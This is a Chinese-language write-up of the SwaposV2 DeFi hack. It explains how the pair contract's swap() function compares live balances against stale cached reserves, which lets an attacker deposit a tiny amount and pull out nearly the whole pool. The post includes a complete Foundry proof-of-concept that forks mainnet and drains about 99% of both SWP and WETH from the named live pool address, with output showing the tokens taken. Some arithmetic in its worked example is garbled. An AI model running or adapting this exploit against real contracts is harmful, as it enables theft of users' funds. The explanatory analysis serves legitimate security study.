saving gas的锅
https://twitter.com/CertiKAlert/status/1647530789947469825
以攻击者的这个tx为例: https://etherscan.io/tx/0xbe643ccdcae57181b9fef554d63029e0605b2e860172d442c37eaabffdb44575
漏洞分析
存在漏洞的合约地址为 0x8ce2F9286F50FbE2464BFd881FAb8eFFc8Dc584f
在其合约代码SwaposV2Pair.sol 中 提供了一个外部函数swap()
, 代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
function swap(
uint amount0Out,
uint amount1Out,
address to,
bytes calldata data
) external lock {
require(
amount0Out > 0 || amount1Out > 0,
"SwaposV2: INSUFFICIENT_OUTPUT_AMOUNT"
);
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
require(
amount0Out < _reserve0 && amount1Out < _reserve1,
"SwaposV2: INSUFFICIENT_LIQUIDITY"
);
uint balance0;
uint balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, "SwaposV2: INVALID_TO");
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0)
ISwaposV2Callee(to).swaposV2Call(
msg.sender,
amount0Out,
amount1Out,
data
);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out
? balance0 - (_reserve0 - amount0Out)
: 0;
uint amount1In = balance1 > _reserve1 - amount1Out
? balance1 - (_reserve1 - amount1Out)
: 0;
require(
amount0In > 0 || amount1In > 0,
"SwaposV2: INSUFFICIENT_INPUT_AMOUNT"
);
{
uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(10));
uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(10));
require(
balance0Adjusted.mul(balance1Adjusted) >=
uint(_reserve0).mul(_reserve1).mul(1000 ** 2),
"SwaposV2: K"
);
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
|
注意到其中的这两行代码:
1
2
|
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
|
其中_safeTransfer
代码如下:
1
2
3
4
5
6
7
8
9
|
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(SELECTOR, to, value)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"SwaposV2: TRANSFER_FAILED"
);
}
|
也就是说 swap()
函数允许外部调用者将池子的中的token0或token1 发送给任意接收方 😱
当然, 代码中有一堆require
语句用于条件检查, 只要能绕过这些检查, 就能任意转账
假设攻击者要将池中的大部分token0 划转给自己:
1
|
SwaposV2.swap(<90% of token0 in the pool>, 0, <address of attacker>, "")
|
那么攻击者我们能不能绕过这些require
require 1
1
2
3
4
|
require(
amount0Out > 0 || amount1Out > 0,
"SwaposV2: INSUFFICIENT_OUTPUT_AMOUNT"
);
|
检查amount0Out
和amount1Out
至少一个大于0, 攻击者传入的amount0Out
参数为"90% of token0 in the pool", 没毛病
require 2
1
2
3
4
5
6
|
(uint112 _reserve0, uint112 _reserve1, ) = getReserves();
require(
amount0Out < _reserve0 && amount1Out < _reserve1,
"SwaposV2: INSUFFICIENT_LIQUIDITY"
);
|
获取库存, 检查输出小于库存, 攻击者只要90% 🤪
require 3
1
|
require(to != _token0 && to != _token1, "SwaposV2: INVALID_TO");
|
确保接收方不是token0或token1, 没问题, 是攻击者
require 4
1
2
3
4
5
6
7
8
9
10
11
12
13
|
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
uint amount0In = balance0 > _reserve0 - amount0Out
? balance0 - (_reserve0 - amount0Out)
: 0;
uint amount1In = balance1 > _reserve1 - amount1Out
? balance1 - (_reserve1 - amount1Out)
: 0;
require(
amount0In > 0 || amount1In > 0,
"SwaposV2: INSUFFICIENT_INPUT_AMOUNT"
);
|
重点逻辑分析:
如果当前余额 大于 先前的库存减去输出的数量, 则输入的数量为余额减去先前的库存减去输出的数量, 否则为0.比如先前的库存_reserve0:100, 输出:amount0Out10, 100-10=90, 如果当前余额balance0大于90,则输入的数量为当前余额banlance0-(100-10)
这里的逻辑很关键:因为按照正常思路, 当前余额balance0 应该等于先前余额_reserve0减去输出的数量amount0Out
为了绕过这个require:可以先向这个合约存点token,如果你要划转token0,则先存点token0,保证balance0 > _reserve0 - amount0Out
?? 为什么可以绕过, 按照正常思路:当前余额应该始终等于先前库存减去输出额啊?
这是因为当前余额balance0是最新的值:IERC20(token0).balanceOf(address(this));
而先前的库存_reserve0根本就不是最新的值:其是通过getReserves()函数得到的, 其值是在_update()被更新的,而更新发生在过去的mint(), burn(), sync(), swap()等
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
//...
function getReserves()
public
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
)
{
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
//...
function _update(
uint balance0,
uint balance1,
uint112 _reserve0,
uint112 _reserve1
) private{
//..
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
|
比如库存(旧值)100, ,存入1, 划走90, 那么balance0 为 101-90 = 11 , 而_reserve0 - amount0Out = 100 - 90 =10, 满足 11 > 10, so, amount0In=10
根据代码作者的注释, 使用 getReserves()
函数是为了节省gas. 这骚操作节省得有点贵啊
gas费: https://github.com/wolflo/evm-opcodes/blob/main/gas.md#a5-balance-extcodesize-extcodehash
require 5
1
2
3
4
|
uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(10));
uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(10));
require(balance0Adjusted.mul(balance1Adjusted) >=uint(_reserve0).mul(_reserve1).mul(1000 ** 2),"SwaposV2: K"
);
|
以上面的token0库存(旧值)100, ,存入1, 划走90为例
balance0Adjusted = 1110000 - 1010 = 109000
假设token1库存100, balance1 = 100
balance1Adjusted = 10010000 - 010 = 1000000
满足 1090001000000 >= 10010010001000 开绿灯
全部require
都满足, 那么攻击者的 SwaposV2.swap(<90% of token0 in the pool>, 0, <address of attacker>, "")
就不会被revert
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
|
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
// https://twitter.com/CertiKAlert/status/1647530789947469825
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function approve(address guy, uint256 wad) external returns (bool);
function withdraw(uint256 wad) external;
function balanceOf(address) external view returns (uint256);
}
interface ISWP {
function swap(
uint amount0Out,
uint amount1Out,
address to,
bytes calldata data
) external;
function getReserves()
external
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
);
function balanceOf(address) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
interface IERC20 {
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
IWETH constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 constant SWP_Token = IERC20(0x09176F68003c06F190ECdF40890E3324a9589557);
// SWP <=> WETH
ISWP constant SWPV2_Pool = ISWP(0x8ce2F9286F50FbE2464BFd881FAb8eFFc8Dc584f);
contract Hack is Test {
function setUp() public {
vm.createSelectFork("theNet", 17057400);
deal(address(WETH), address(this), 100);
vm.label(address(WETH), "WETH");
vm.label(address(SWPV2_Pool), "SWPV2Pool");
vm.label(address(SWP_Token), "SWPTOKEN");
}
function testPoc() public {
// 绕过 "SwaposV2: INSUFFICIENT_INPUT_AMOUNT"
WETH.transfer(address(SWPV2_Pool), 10);
(uint112 token0, uint112 token1, ) = SWPV2_Pool.getReserves();
emit log_named_decimal_uint(
"[before] token0(SWP_Token) form getReserves in pool",
token0,
18
);
emit log_named_decimal_uint(
"[before] token1(WETH) getReserves in pool",
token1,
18
);
//划走99% 的 token0 或 token1都可以,二选一
SWPV2_Pool.swap((token0 * 99000) / 100000, 0, address(this), "");
(token0, token1, ) = SWPV2_Pool.getReserves();
emit log_named_decimal_uint(
"[after] token0(SWP_Token) form getReserves in pool",
token0,
18
);
emit log_named_decimal_uint(
"[after] token1(WETH) getReserves in pool",
token1,
18
);
//故技重施,划走另外一个币
SWP_Token.transfer(address(SWPV2_Pool), 10);
SWPV2_Pool.swap(0, (token1 * 99000) / 100000, address(this), "");
(token0, token1, ) = SWPV2_Pool.getReserves();
emit log_named_decimal_uint(
"[after] token0(SWP_Token) form getReserves in pool",
token0,
18
);
emit log_named_decimal_uint(
"[after] token1(WETH) getReserves in pool",
token1,
18
);
emit log_named_decimal_uint(
"Now, i have SWP: ",
SWP_Token.balanceOf(address(this)),
18
);
emit log_named_decimal_uint(
"Now, i have WETH: ",
WETH.balanceOf(address(this)),
18
);
}
}
|
输出:
1
2
3
4
5
6
7
8
9
10
11
|
Running 1 test for test/hack.t.sol:Hack
[PASS] testPoc() (gas: 131472)
Logs:
[before] token0(SWP_Token) form getReserves in pool: 147580.970131255838890994
[before] token1(WETH) getReserves in pool: 131.642780241915502488
[after] token0(SWP_Token) form getReserves in pool: 1475.809701312558388910
[after] token1(WETH) getReserves in pool: 131.642780241915502498
[after] token0(SWP_Token) form getReserves in pool: 1475.809701312558388920
[after] token1(WETH) getReserves in pool: 1.316427802419155025
Now, i have SWP: : 146105.160429943280502074
Now, i have WETH: : 130.326352439496347563
|